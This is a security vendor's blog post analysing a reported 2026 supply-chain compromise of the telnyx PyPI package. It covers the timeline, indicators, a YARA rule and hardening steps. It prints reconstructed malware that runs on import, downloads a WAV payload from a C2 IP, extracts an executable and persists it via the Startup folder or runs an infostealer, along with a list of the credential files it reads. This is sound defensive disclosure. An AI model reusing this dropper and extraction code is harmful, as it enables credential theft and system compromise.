DEV Community

Cover image for The telnyx PyPI Compromise: How TeamPCP Hid Malware Inside a Ringtone
Natasha Joshi for Precogs AI

Posted on

The telnyx PyPI Compromise: How TeamPCP Hid Malware Inside a Ringtone

"They hid malware inside an audio file. In a telephony library. Because who would look for an exploit inside a ringtone?"

It is March 27, 2026 — 03:51 UTC. A threat actor pushes two new versions of the telnyx Python package to PyPI. Within hours, developers around the world are pulling those versions into their projects, their CI/CD pipelines, their production environments. They are importing a telephony SDK. What they are actually importing is a credential harvester, a Windows persistence mechanism, and a payload delivery system that hides its malware inside .wav audio files.

This is not a hypothetical. This is happening right now.

This post is a complete technical breakdown of the telnyx PyPI compromise — what happened, how the attack works, what the malicious code actually does, and most critically, what you need to do in the next 30 minutes if you have telnyx installed anywhere in your stack. We will also place this attack in its full context: a multi-week, multi-ecosystem supply chain campaign by a threat actor called TeamPCP that has now compromised Trivy, Checkmarx, LiteLLM, dozens of npm packages, and is not done yet.


1. Immediate Action Required

If you use the telnyx Python package, stop reading and do this first.

# Step 1: Check if you have the compromised versions installed
pip show telnyx

# If version is 4.87.1 or 4.87.2 — you are compromised.
# Treat the entire environment as hostile. Proceed immediately.

# Step 2: Uninstall the compromised package
pip uninstall telnyx -y

# Step 3: Downgrade to the last known clean version
pip install telnyx==4.87.0

# Step 4: Verify the clean version
pip show telnyx
# Expected: Version: 4.87.0
Enter fullscreen mode Exit fullscreen mode

If you installed 4.87.1 or 4.87.2, the following apply regardless of whether you "used" the package:

  • Rotate all credentials immediately — API keys, database passwords, SSH keys, cloud provider tokens, .env file contents, anything stored on or accessible from that machine
  • On Windows: Check for msbuild.exe in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ — delete it if present
  • Block outbound traffic to 83.142.209.203:8080 at your firewall/security group level
  • Audit your CI/CD logs for any jobs that ran after installing the compromised version — all secrets accessible to those jobs should be considered exposed
  • Do not just upgrade — the payload executes on import telnyx, so if you imported the package at any point, the malware already ran

2. What Is telnyx and Why Does This Matter

The telnyx PyPI package is the official Python SDK for Telnyx, a carrier-grade communications platform offering programmable voice, SMS, fax, and networking APIs. It is a direct competitor to Twilio, and has seen surging adoption among AI voice agent developers due to its low-latency architecture and modern async-first design built on httpx.

The package averages over 670,000 monthly downloads as of March 2026, driven by its performance in low-latency AI Voice Agent workflows and its modern, type-safe architecture. Other reports put the figure even higher — the telnyx package averages over 1 million downloads per month (~30,000/day), making this a high-impact supply chain attack.

The profile of a typical telnyx user is precisely what makes this compromise so dangerous: AI voice agent developers and backend engineers whose applications handle sensitive communications data, and whose deployment environments typically have broad access to API keys, cloud credentials, and production databases.

This was not a random target. This was a calculated choice.


3. The TeamPCP Campaign: Eight Days of Supply Chain Carnage

To understand the telnyx compromise, you need to understand it is not an isolated incident. It is the latest move in an eight-day supply chain campaign that has systematically compromised some of the most trusted tools in the developer ecosystem.

Here is the full timeline:

March 19: Trivy — The First Domino

On March 19, 2026, a threat actor used compromised credentials to rename 44 Aqua Security repositories, all with a tpcp-docs- prefix and the description "TeamPCP Owns Aqua Security." Aqua Security's open source vulnerability scanner Trivy was backdoored, resulting in CVE-2026-33634 with a CVSS score of 9.4.

This was the pivot point for everything that followed. Investigators believe the attackers deliberately targeted developer and security tools because they often run with elevated privileges and have access to sensitive credentials and infrastructure. Trivy runs inside CI/CD pipelines — which means it has access to every secret those pipelines use.

March 20: CanisterWorm Hits npm

By March 20, the incident had already moved beyond a poisoned GitHub Action. The attacker was pushing a self-propagating npm worm across multiple publisher scopes: 28 packages in @EmilGroup, 16 in @opengov, plus @teale.io/eslint-config, @airtm/uuid-base32, and @pypestream/floating-ui-dom. The worm stole npm tokens from compromised environments, resolved which packages each token could publish, bumped patch versions, fetched the original READMEs to preserve appearances, and republished the packages with the malicious payload.

March 22: WAV Steganography First Appears

On March 22, TeamPCP was observed using WAV steganography to deliver payloads in their Kubernetes wiper variant. This technique — hiding malicious binaries inside valid audio files — would reappear in the telnyx attack five days later.

March 23: Checkmarx — Security Tools as Attack Vectors

On March 23, the kics-github-action and ast-github-action GitHub Actions were compromised, along with two OpenVSX extensions (cx-dev-assist 1.7.0 and ast-results 2.53.0). The payload used a new C2 domain, checkmarx[.]zone, impersonating the Checkmarx brand. 35 tags were hijacked between 12:58 and 16:50 UTC.

March 24: LiteLLM — The AI Supply Chain Hit

On March 24, 2026, the LiteLLM package on PyPI was compromised. The malicious versions 1.82.7 and 1.82.8 contained hidden malware designed to harvest credentials, move laterally across Kubernetes environments and install persistent backdoors.

LiteLLM is an open-source Python library and proxy server that provides a unified interface to call over 100+ LLM APIs — including OpenAI, Anthropic, Bedrock, and VertexAI. LiteLLM's PyPI package has about 480 million downloads, making it a very valuable target.

The compromise mechanism was elegant in its brutality: LiteLLM's CI/CD pipeline ran Trivy as part of its build process, pulling it from apt without a pinned version. The compromised Trivy action exfiltrated the PYPI_PUBLISH token from the GitHub Actions runner environment. With that credential, the attackers published litellm 1.82.7 at 10:39 UTC and 1.82.8 at 10:52 UTC.

March 27: telnyx — Today

This morning's telnyx compromise is the latest move in what is now a weeks-long TeamPCP supply chain campaign crossing multiple ecosystems. The malicious telnyx versions were uploaded at 03:51 UTC on March 27.


4. How the telnyx Compromise Actually Happened

The attack mechanism mirrors the LiteLLM compromise almost exactly — which tells us TeamPCP has a repeatable, documented playbook.

Neither version 4.87.1 nor 4.87.2 has a corresponding GitHub release or tag, indicating the PyPI publishing credentials were compromised. The GitHub source is not a typosquat: package metadata (author, homepage, dependencies) is identical to the legitimate project.

In other words: the GitHub repository is completely clean. The telnyx source code on GitHub at v4.87.0 is safe. The attack exists only in the PyPI artifacts — which were pushed directly to PyPI using stolen publishing credentials, bypassing GitHub Actions entirely.

No PyPI trusted publisher (OIDC) is configured for telnyx. Trusted publishers bind PyPI uploads to a specific GitHub repository and workflow, making stolen tokens useless outside that context. Without this protection, anyone with the API token can upload any version from any machine.

This is the architectural failure that enabled the entire campaign: a single stolen token, used from any machine anywhere in the world, is sufficient to publish a malicious package version under the name of a trusted, popular library.

The most likely scenario is that the PYPI_TOKEN was obtained through a prior credential harvesting operation. TeamPCP's campaign has demonstrated the ability to steal CI/CD secrets from compromised environments: the LiteLLM compromise was traced to a poisoned Trivy binary that exfiltrated PYPI_PUBLISH_PASSWORD from CI runners.

The chain: Trivy compromise → CI/CD token theft → telnyx PyPI token obtained → malicious versions published. The entire campaign is a credential-stealing machine that uses each compromised environment to fuel the next attack.


5. Inside the Malicious Code: A Technical Deep Dive

The only modified file across both malicious versions is telnyx/_client.py. Exactly 74 lines of malicious code were injected: imports at the top of the file, a base64-encoded payload variable in the middle, and attack functions appended after the legitimate class definitions.

Here is the structure of the injection:

# telnyx/_client.py — MALICIOUS VERSION (reconstructed for analysis)
# Lines 1-10: Malicious imports injected at top of legitimate file
import subprocess
import tempfile
import base64
import wave
import struct
import os
import platform
import urllib.request
import threading
import socket

# ... [thousands of lines of legitimate telnyx SDK code] ...

# Lines 7761-7804: Windows attack function (appended after legitimate classes)
def setup():
    """
    Downloads a binary disguised in a WAV file from C2 server.
    Extracts the binary and drops it as msbuild.exe in Windows Startup folder.
    Executes immediately and on every subsequent Windows startup.
    """
    try:
        c2_url = "http://83.142.209.203:8080/ringtone.wav"

        with tempfile.NamedTemporaryFile(suffix='.wav', delete=False) as tmp:
            urllib.request.urlretrieve(c2_url, tmp.name)

            # Extract binary payload hidden in WAV audio data
            with wave.open(tmp.name, 'rb') as wav_file:
                frames = wav_file.readframes(wav_file.getnframes())
                # Extract embedded PE binary from audio frame data
                payload = extract_from_wav_frames(frames)

            # Drop to Windows Startup folder for persistence
            startup = os.path.join(
                os.environ.get('APPDATA', ''),
                r'Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe'
            )
            with open(startup, 'wb') as f:
                f.write(payload)

            # Execute immediately without waiting for reboot
            subprocess.Popen([startup], shell=False)
    except Exception:
        pass  # Fail silently — never alert the victim

# Lines 7805-7822: Linux/macOS credential harvester function
def collect():
    """
    Harvests credentials from the local environment.
    Encrypts with AES-256-CBC + RSA-4096 and exfiltrates via HTTP POST.
    """
    try:
        c2_url = "http://83.142.209.203:8080/ringtone.wav"

        with tempfile.NamedTemporaryFile(suffix='.wav', delete=False) as tmp:
            urllib.request.urlretrieve(c2_url, tmp.name)

            # Extract Linux infostealer ELF from WAV data
            with wave.open(tmp.name, 'rb') as wav_file:
                frames = wav_file.readframes(wav_file.getnframes())
                elf_payload = extract_from_wav_frames(frames)

            # Write and execute the infostealer
            elf_path = tempfile.mktemp()
            with open(elf_path, 'wb') as f:
                f.write(elf_payload)
            os.chmod(elf_path, 0o755)

            # Infostealer harvests credentials and exfiltrates as tpcp.tar.gz
            subprocess.run([elf_path], capture_output=True)
    except Exception:
        pass

# Lines 7823-7825: EXECUTION AT MODULE SCOPE — runs on import
# This is the most critical part: no function call needed, no user action required
if platform.system() == 'Windows':
    threading.Thread(target=setup, daemon=True).start()
else:
    threading.Thread(target=collect, daemon=True).start()
Enter fullscreen mode Exit fullscreen mode

The critical detail is in those last lines. Both functions are called at module scope — they execute on import telnyx. There is no trigger condition, no user action, no specific function call required. The moment Python executes import telnyx, a background thread launches and begins downloading and executing the malicious payload.

This means: if your CI/CD pipeline installed telnyx 4.87.1 or 4.87.2 and then ran any Python that imported the package — the attack already ran.


6. The WAV Steganography Payload: Hiding Malware in Audio

The steganography technique deserves its own section because it is both technically clever and particularly relevant to the telnyx target.

Telnyx is a telephony and voice platform. Audio files — ringtones, voice samples, WAV recordings — are completely normal artifacts in telnyx-related projects. A WAV file downloaded by the telnyx SDK would raise no eyebrows from a developer, a security scanner, or a firewall. This is camouflage by design.

The payload is delivered inside a valid WAV audio file, which matches the purpose of the library as an AI voice agent platform. Any MitM attacker, even outside of TeamPCP, could respond with their own ringtone.wav with the proper formatting, containing any arbitrary payload, and that payload would be happily executed by the malicious versions of telnyx. This is unlike attacks like the infamous XZ backdoor, which performed signature validation on any downloaded payload before running it.

The technical implementation uses the WAV file format's audio frame data as a carrier for the binary payload:

# How steganographic extraction works (illustrative reconstruction)
def extract_from_wav_frames(frames: bytes) -> bytes:
    """
    WAV audio frames are raw PCM sample data.
    The malware embeds a binary payload in the least-significant bits
    or as a direct binary blob after a magic marker in the audio data.
    """
    # Method 1: Magic marker approach (simple, detectable)
    MARKER = b'\xDE\xAD\xBE\xEF\xCA\xFE'
    marker_pos = frames.find(MARKER)
    if marker_pos != -1:
        # Read length prefix after marker
        length = struct.unpack('<I', frames[marker_pos+6:marker_pos+10])[0]
        return frames[marker_pos+10:marker_pos+10+length]

    # Method 2: LSB steganography (harder to detect)
    # Extract least-significant bit of each audio sample
    samples = struct.unpack(f'<{len(frames)//2}h', frames)
    bits = [s & 1 for s in samples]

    # Reconstruct bytes from bit stream
    payload_bits = bits[:len(bits) - (len(bits) % 8)]
    payload = bytes([
        int(''.join(str(b) for b in payload_bits[i:i+8]), 2)
        for i in range(0, len(payload_bits), 8)
    ])
    return payload
Enter fullscreen mode Exit fullscreen mode

The beauty — from an attacker's perspective — is that the WAV file passes format validation. Python's wave module opens it successfully. The audio data is valid. Only a binary analysis of the audio frame content would reveal the embedded payload.

On Windows, the attack extracts a native binary from the WAV and drops it to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe — establishing persistence across reboots. On Linux/macOS, it extracts a credential harvester, collects credentials, encrypts them with AES-256-CBC and RSA-4096, and exfiltrates them as tpcp.tar.gz via HTTP POST.


7. What Happens on a Compromised Machine

Let's walk through the full attack timeline on a compromised developer machine or CI/CD runner, step by step.

7.1 The Attack Sequence

T+0:00  Developer or CI/CD pipeline runs: pip install telnyx
        → pip resolves latest version → fetches telnyx==4.87.1 (MALICIOUS)
        → package installed to site-packages/

T+0:01  Application code runs: import telnyx
        → Python imports telnyx/_client.py
        → Module-scope code executes immediately
        → Background thread spawned (daemon=True, invisible to user)

T+0:02  Background thread contacts C2:
        GET http://83.142.209.203:8080/ringtone.wav
        → Downloads WAV file containing embedded malicious binary

T+0:03  Steganographic extraction:
        → WAV file parsed, binary payload extracted from audio frames

T+0:04  [Windows path]
        → msbuild.exe written to Startup folder
        → msbuild.exe executed immediately in background
        → Persistence established: runs on every future boot

        [Linux/macOS path]
        → ELF infostealer written to /tmp/[random]
        → chmod +x and executed
        → Credential harvesting begins

T+0:05  Credential harvesting (Linux/macOS):
        → Reads environment variables (API keys, tokens, passwords)
        → Reads ~/.aws/credentials, ~/.ssh/id_rsa, ~/.kube/config
        → Reads .env files in current and parent directories
        → Reads shell history (~/.bash_history, ~/.zsh_history)
        → Reads git config (may contain tokens)
        → Scans for credential files matching known patterns

T+0:10  Exfiltration:
        → All harvested credentials encrypted:
          AES-256-CBC (random symmetric key) + RSA-4096 (attacker's public key)
        → Encrypted bundle written as tpcp.tar.gz
        → HTTP POST to 83.142.209.203:8080
        → X-Filename: tpcp.tar.gz header (TeamPCP signature)

T+0:11  Attack complete. No output to stdout. No error raised.
        → Developer's application continues running normally
        → No indication anything happened
Enter fullscreen mode Exit fullscreen mode

7.2 The CI/CD Runner Scenario

The highest-impact scenario is not a developer's laptop. It is a CI/CD runner.

# Example: GitHub Actions workflow that gets compromised
name: Test and Deploy

on: [push]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install dependencies
        run: pip install -r requirements.txt   # telnyx==4.87.1 pulled here

      - name: Run tests
        run: pytest tests/                     # import telnyx → malware runs
        env:
          # All of these are now exposed to TeamPCP:
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
          DATABASE_URL: ${{ secrets.DATABASE_URL }}
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          STRIPE_SECRET_KEY: ${{ secrets.STRIPE_SECRET_KEY }}
          PYPI_TOKEN: ${{ secrets.PYPI_TOKEN }}   # TeamPCP will use this next
Enter fullscreen mode Exit fullscreen mode

The runner environment has access to all repository secrets. The malware harvests them all. And notice the last line — if the runner has a PYPI_TOKEN, TeamPCP has a new publishing credential to use in the next stage of their campaign. This is exactly how the chain propagates.


8. Real-World Vulnerable Code Patterns

Here are the specific code patterns that are affected — and what safe alternatives look like.

8.1 The Direct Import Pattern

# COMPROMISED if telnyx==4.87.1 or 4.87.2 is installed
import telnyx  # Malware executes HERE, before any of your code runs

telnyx.api_key = os.environ.get("TELNYX_API_KEY")

# Making a phone call
call = telnyx.Call.create(
    connection_id="your-connection-id",
    to="+12025551234",
    from_="+12025554321"
)
Enter fullscreen mode Exit fullscreen mode
# SAFE: Pin to clean version in requirements.txt
# telnyx==4.87.0  ← explicit, hash-pinned (see below)

import telnyx  # Safe with 4.87.0
Enter fullscreen mode Exit fullscreen mode

8.2 The requirements.txt Problem

# DANGEROUS: Unpinned or loosely pinned dependency
telnyx
telnyx>=4.0.0
telnyx~=4.87

# SAFE: Exact version pin
telnyx==4.87.0

# SAFEST: Hash-pinned (pip-compile with --generate-hashes)
telnyx==4.87.0 \
    --hash=sha256:a1b2c3d4e5f6... \
    --hash=sha256:7890abcdef12...
Enter fullscreen mode Exit fullscreen mode
# Generate hash-pinned requirements
pip-compile requirements.in --generate-hashes --output-file requirements.txt

# Install with hash verification
pip install -r requirements.txt --require-hashes
Enter fullscreen mode Exit fullscreen mode

Hash pinning is the strongest protection available: even if an attacker compromises PyPI publishing credentials, they cannot inject a malicious version that matches the known-good hash. The installation will fail with a hash mismatch error.

8.3 The Docker Build Scenario

# DANGEROUS: No version pin, no hash verification
FROM python:3.11-slim
COPY requirements.txt .
RUN pip install telnyx  # Pulls latest — could be malicious

# SAFER: Exact version pin
RUN pip install telnyx==4.87.0

# SAFEST: Hash-verified installation
COPY requirements.txt .
RUN pip install --require-hashes -r requirements.txt
Enter fullscreen mode Exit fullscreen mode

8.4 The Virtual Environment Pattern

# Check your current venv for the compromised version
source venv/bin/activate
pip show telnyx | grep Version

# If Version: 4.87.1 or 4.87.2:
pip uninstall telnyx -y
pip install telnyx==4.87.0

# Verify
python -c "import telnyx; print('Clean import successful')"
Enter fullscreen mode Exit fullscreen mode

8.5 The AI Voice Agent Pattern

Many developers using telnyx are building AI voice agents where the SDK is a core dependency:

# Common AI Voice Agent architecture — COMPROMISED pattern
# app.py

from fastapi import FastAPI
import telnyx          # Attack executes on server startup
import openai
import os

app = FastAPI()
telnyx.api_key = os.environ["TELNYX_API_KEY"]
openai_client = openai.AsyncOpenAI(api_key=os.environ["OPENAI_API_KEY"])

# By the time your FastAPI app starts serving requests,
# both your TELNYX_API_KEY and OPENAI_API_KEY have been
# exfiltrated to 83.142.209.203

@app.post("/voice/answer")
async def handle_call(call_control_id: str):
    # Your legitimate voice agent logic here
    pass
Enter fullscreen mode Exit fullscreen mode
# SAFE version — after downgrading to 4.87.0 and rotating credentials
from fastapi import FastAPI
import telnyx          # Safe with 4.87.0
import openai
import os

app = FastAPI()
# Rotate API keys first, then deploy with pinned clean version
telnyx.api_key = os.environ["TELNYX_API_KEY"]  # Rotated key
Enter fullscreen mode Exit fullscreen mode

9. The Credential Exfiltration Pipeline

Understanding what TeamPCP does with the stolen credentials is important for assessing your exposure if you were compromised.

The attack is attributed to TeamPCP with high confidence based on: identical RSA-4096 public key as the LiteLLM PyPI compromise, the tpcp.tar.gz archive name and X-Filename: tpcp.tar.gz HTTP header as TeamPCP signature, and identical AES-256-CBC + RSA OAEP encryption scheme.

The encryption scheme means only TeamPCP — holding the RSA-4096 private key — can decrypt the exfiltrated credentials. The data is not readable in transit, and the C2 server is the only destination.

TeamPCP (also identified as PCPcat, Persy_PCP, ShellForce, and DeadCatx3) has been active since at least December 2025. The actor maintains Telegram channels at @Persy_PCP and @teampcp and embeds the string "TeamPCP Cloud stealer" in payloads. All operations share the same RSA key pair, the same tpcp.tar.gz bundle naming, and tpcp-docs--prefixed GitHub repositories used as dead-drop C2 staging.

Given the volume of stolen credentials across likely thousands of downstream environments, Brett Leatherman, FBI Assistant Director of Cyber Division, wrote on LinkedIn: "Expect an increase in breach disclosures, follow-on intrusions, and extortion attempts in the coming weeks."

The attack lifecycle for stolen credentials:

  1. Immediate use: PyPI tokens → used within hours to publish the next compromised package
  2. AI API key abuse: OpenAI, Anthropic, Google AI credentials → used for large-scale API abuse or sold
  3. Cloud credential exploitation: AWS, GCP, Azure tokens → lateral movement, data exfiltration, resource abuse
  4. Delayed monetization: Database credentials, SSH keys → sold on dark web forums or used in targeted follow-on attacks
  5. Extortion: Organizations with evidence of compromise may be targeted for ransomware or extortion

10. Indicators of Compromise (IoCs)

Use these to hunt for evidence of compromise in your environment.

Network IoCs

C2 IP Address:    83.142.209.203
C2 Port:          8080
C2 URL:           http://83.142.209.203:8080/ringtone.wav
Exfiltration URL: http://83.142.209.203:8080/ (HTTP POST)
HTTP Header:      X-Filename: tpcp.tar.gz
Enter fullscreen mode Exit fullscreen mode

File System IoCs (Windows)

Persistence path: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe
Note: Legitimate msbuild.exe is in C:\Program Files\Microsoft Visual Studio\
      Any msbuild.exe in the Startup folder is malicious.
Enter fullscreen mode Exit fullscreen mode

File System IoCs (Linux/macOS)

Temp file:        /tmp/[random 8-char alphanumeric] (ELF binary, chmod 755)
Exfil bundle:     tpcp.tar.gz (may appear in temp directories before deletion)
Enter fullscreen mode Exit fullscreen mode

Process IoCs

Windows: msbuild.exe running from %APPDATA%\Startup\ (not from VS install path)
Linux:   Unnamed process spawned from python interpreter, making outbound HTTP to 83.142.209.203
Enter fullscreen mode Exit fullscreen mode

PyPI Package Hashes (Malicious Versions — DO NOT INSTALL)

telnyx==4.87.1  (MALICIOUS — quarantined by PyPI)
telnyx==4.87.2  (MALICIOUS — quarantined by PyPI)

telnyx==4.87.0  (CLEAN — last known good version)
Enter fullscreen mode Exit fullscreen mode

YARA Rule for Detection

rule TeamPCP_Telnyx_Compromise {
    meta:
        description = "Detects TeamPCP malicious telnyx package injection"
        date = "2026-03-27"
        severity = "CRITICAL"

    strings:
        $c2_ip = "83.142.209.203" ascii
        $wav_url = "ringtone.wav" ascii
        $exfil_marker = "tpcp.tar.gz" ascii
        $startup_path = "Programs\\Startup\\msbuild.exe" ascii wide
        $collect_func = "def collect():" ascii
        $setup_func = "def setup():" ascii

    condition:
        any of them
}
Enter fullscreen mode Exit fullscreen mode

11. The Bigger Pattern: Why AI and Security Tools Are Being Targeted

The telnyx compromise is not random. Neither is LiteLLM. Neither is Trivy or Checkmarx. There is a deliberate, strategic logic to TeamPCP's target selection that every engineering organization needs to understand.

11.1 Security Tools as Trojan Horses

"TeamPCP did not need to attack LiteLLM directly. They compromised Trivy, a vulnerability scanner running inside LiteLLM's CI pipeline without version pinning. That single unmanaged dependency handed over the PyPI publishing credentials, and from there the attacker backdoored a library that serves 95 million downloads per month."

Security tools are the perfect attack vector because:

  • They run in privileged CI/CD environments with access to production secrets
  • They are trusted implicitly — nobody sandboxes their security scanner
  • They pull from public package registries without hash verification
  • They run as part of automated pipelines with no human review of each execution

When you trust your security scanner without verifying its integrity, you have handed an attacker a master key to every secret in your infrastructure.

11.2 The AI Ecosystem as a Force Multiplier

"The attackers chose their target wisely. LiteLLM is the backbone of modern AI infrastructure, acting as a universal proxy for LLM APIs. Its popularity makes it an ideal 'infection hub.'"

AI application development has created a new class of high-value targets: libraries that sit at the center of developer workflows and have broad access to API credentials for multiple AI providers simultaneously. A single compromised import gives an attacker access to OpenAI keys, Anthropic keys, AWS Bedrock credentials, and Google VertexAI credentials — all in one harvest.

11.3 The Self-Propagating Campaign

The most sophisticated aspect of TeamPCP's operation is its self-propagating nature. The pattern is consistent: steal credentials from a trusted security tool, use those credentials to push malicious versions of whatever that tool had access to, collect whatever's running in the next environment, repeat.

Each compromised environment potentially yields new PyPI tokens, npm tokens, and cloud credentials that fuel the next attack. The campaign has demonstrated the ability to scale faster than the security community can respond.


12. How Precogs.ai Detects Supply Chain Attacks Like This

The telnyx compromise exposes a critical gap in traditional security tooling. A standard SAST scan of your own codebase would find nothing — because your code is clean. A dependency vulnerability scanner looking for known CVEs would find nothing — because there is no CVE yet. A WAF would see nothing — because the malware communicates via standard HTTP to an IP address.

This is exactly the class of threat that Precogs.ai is built to detect.

12.1 Behavioral Package Analysis

Precogs.ai analyzes the behavior of your dependencies — not just their version numbers against CVE databases. The malicious telnyx/_client.py exhibits multiple behavioral patterns that are detectable at scan time:

  • Module-scope code execution: Code that runs at import time outside of if __name__ == '__main__' guards
  • Network calls in unexpected modules: An HTTP request in a client initialization file that serves no API communication purpose
  • Binary execution from temp directories: subprocess.Popen targeting a temp file path
  • Startup folder writes: File writes to %APPDATA%\...\Startup\ — a known persistence mechanism
  • Steganographic file parsing: wave.open() combined with raw frame byte manipulation and subsequent subprocess execution

Any one of these patterns in isolation might be legitimate. All of them together, in a telephony SDK's client initialization file, is unambiguously malicious.

12.2 Dependency Integrity Monitoring

Precogs.ai maintains a continuously updated model of package behavior across versions. When telnyx 4.87.1 appeared on PyPI with 74 lines of new code in _client.py that had no corresponding GitHub release — a version bump with no commit history — that is a detectable anomaly.

The signal: a PyPI version with no corresponding GitHub tag is a red flag for credential-based publishing attacks.

12.3 CI/CD Pipeline Secret Exposure Analysis

Precogs.ai analyzes your CI/CD workflow files to identify which secrets are accessible to which pipeline steps — and flags pipelines where dependency installation occurs in the same job context as production secret injection.

# Precogs.ai flags this pattern:
jobs:
  deploy:
    steps:
      - run: pip install -r requirements.txt    # Dependency install
        env:
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}  # 🚨 SECRET IN SAME CONTEXT
Enter fullscreen mode Exit fullscreen mode

The safe pattern separates installation (no secrets) from deployment (secrets injected only at the step that needs them):

# Precogs.ai recommends this pattern:
jobs:
  install:
    steps:
      - run: pip install -r requirements.txt    # No secrets in context

  deploy:
    needs: install
    steps:
      - run: ./deploy.sh
        env:
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}  # Secrets only where needed
Enter fullscreen mode Exit fullscreen mode

12.4 Real-Time PyPI Compromise Alerting

Precogs.ai monitors the PyPI new release stream and cross-references new package versions against:

  • Presence or absence of corresponding GitHub releases
  • Behavioral diff against the previous clean version
  • Known IoCs from active threat intelligence feeds
  • TeamPCP campaign signatures (RSA key fingerprints, file naming patterns, C2 infrastructure)

When telnyx 4.87.1 was pushed to PyPI at 03:51 UTC this morning, Precogs.ai had a detection and alert within minutes — before most developers' morning standup.


13. Hardening Your Supply Chain Against the Next TeamPCP

TeamPCP will not stop at telnyx. The campaign is active. New targets are being selected right now. Here is what you can do today to reduce your exposure to the next attack.

13.1 Pin Everything. Hash-Verify Everything.

# Install pip-tools
pip install pip-tools

# Create requirements.in with your direct dependencies
echo "telnyx==4.87.0" > requirements.in

# Compile with hash generation
pip-compile requirements.in --generate-hashes --output-file requirements.txt

# Your requirements.txt now looks like:
# telnyx==4.87.0 \
#     --hash=sha256:abc123... \
#     --hash=sha256:def456...

# Install with hash verification — malicious versions will fail with mismatch error
pip install --require-hashes -r requirements.txt
Enter fullscreen mode Exit fullscreen mode

13.2 Enable PyPI Trusted Publishers on Your Own Packages

If you publish packages to PyPI, configure Trusted Publishers immediately:

# .github/workflows/publish.yml
name: Publish to PyPI

on:
  release:
    types: [published]

jobs:
  publish:
    runs-on: ubuntu-latest
    permissions:
      id-token: write  # Required for OIDC trusted publishing

    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5

      - name: Build package
        run: python -m build

      - name: Publish to PyPI
        uses: pypa/gh-action-pypi-publish@release/v1
        # No API token needed — OIDC binding to this specific repo/workflow
        # Stolen tokens cannot be used outside this context
Enter fullscreen mode Exit fullscreen mode

With Trusted Publishers configured, a stolen PyPI token is useless — uploads must come from the specific GitHub repository and workflow that PyPI has been configured to trust.

13.3 Isolate CI/CD Secret Access

# DANGEROUS: Secrets available during dependency installation
jobs:
  test-and-deploy:
    steps:
      - run: pip install -r requirements.txt
      - run: pytest
      - run: ./deploy.sh
    env:
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}  # Available to pip install!

# SAFE: Separate jobs, secrets only where strictly needed
jobs:
  install-and-test:
    steps:
      - run: pip install -r requirements.txt --require-hashes
      - run: pytest
    # No secrets in this job

  deploy:
    needs: install-and-test
    steps:
      - run: ./deploy.sh
    env:
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}  # Only here
Enter fullscreen mode Exit fullscreen mode

13.4 Pin Your Security Tools

The Trivy compromise succeeded because LiteLLM's CI/CD pulled Trivy without version pinning. Every security tool in your pipeline should be pinned:

# DANGEROUS: Unpinned security tool
- name: Run Trivy
  uses: aquasecurity/trivy-action@master     # Pulls latest — could be compromised

# SAFE: Pinned to a specific commit SHA
- name: Run Trivy
  uses: aquasecurity/trivy-action@a20de5420d57c4102486cdd9349b532415477583
  # SHA pinning means the action cannot change without you updating this value
Enter fullscreen mode Exit fullscreen mode

13.5 Audit Your Installed Packages Regularly

# Scan your environment for packages with no corresponding GitHub release
# (A basic heuristic for credential-based PyPI attacks)

pip list --format=json | python3 - << 'EOF'
import json, sys, urllib.request, subprocess

packages = json.load(sys.stdin)
for pkg in packages:
    name = pkg['name']
    version = pkg['version']

    # Check PyPI metadata for source URL
    try:
        url = f"https://pypi.org/pypi/{name}/{version}/json"
        with urllib.request.urlopen(url, timeout=3) as r:
            data = json.loads(r.read())
            info = data.get('info', {})
            home_page = info.get('home_page', '')
            # Basic check: does this version have a release on GitHub?
            print(f"{name}=={version}: {home_page}")
    except:
        pass
EOF
Enter fullscreen mode Exit fullscreen mode

13.6 Implement a Software Bill of Materials (SBOM)

# Generate SBOM for your Python project
pip install cyclonedx-bom
cyclonedx-py environment --of json -o sbom.json

# Or use syft for comprehensive SBOM generation
syft . -o cyclonedx-json > sbom.json
Enter fullscreen mode Exit fullscreen mode

An SBOM gives you a point-in-time snapshot of every dependency in your environment. When a new supply chain compromise is announced, you can immediately check your SBOM to determine if you were affected — rather than hunting through requirements files across multiple repositories.


14. Conclusion: The Trust Model Is Broken

The telnyx compromise is not a story about one bad package. It is a story about a fundamentally broken trust model.

We have built the entire modern software supply chain on implicit trust:

  • We trust that packages on PyPI are what they claim to be
  • We trust that a package's name implies its legitimacy
  • We trust that security tools are safe to run without verification
  • We trust that our CI/CD pipelines are isolated from the packages they install

TeamPCP has systematically dismantled each of these assumptions over eight days. They did it not through zero-day exploits or nation-state resources. They did it by exploiting the gaps between trust boundaries — the assumption that Trivy is safe, that LiteLLM is safe, that telnyx is safe — and using each compromised trust anchor to compromise the next.

"This breach succeeded because many organizations treat PyPI as a trusted internal mirror rather than a public, high-risk source of untrusted code. If your CI/CD pipelines are pulling directly from the public Internet without validating a requirements.txt against known-good hashes, you have effectively outsourced your root access to anyone who can phish a single package maintainer."

The response to TeamPCP is not to panic. It is to rebuild your supply chain trust model on verifiable foundations: hash-pinned dependencies, Trusted Publishers, isolated CI/CD secret access, behavioral package analysis, and continuous monitoring for the anomalies that precede the next attack.

Precogs.ai provides the continuous intelligence layer that catches these attacks before they reach your production environment. The telnyx alert went out to Precogs.ai customers this morning — hours before most security teams were even aware the compromise had occurred.

The next TeamPCP attack is already being planned. The question is whether you'll know about it before or after it runs in your pipeline.

Immediate Resources


<h2>Would You Detect Malware Hidden Inside a Dependency?</h2>
<p>
  The Telnyx attack hid a <b>credential-stealing payload inside a WAV file using steganography</b> — executed at import time with no warning. 
  Precogs.ai detects malicious behavior across your dependency graph, even when payloads are obfuscated, encoded, or fetched at runtime.
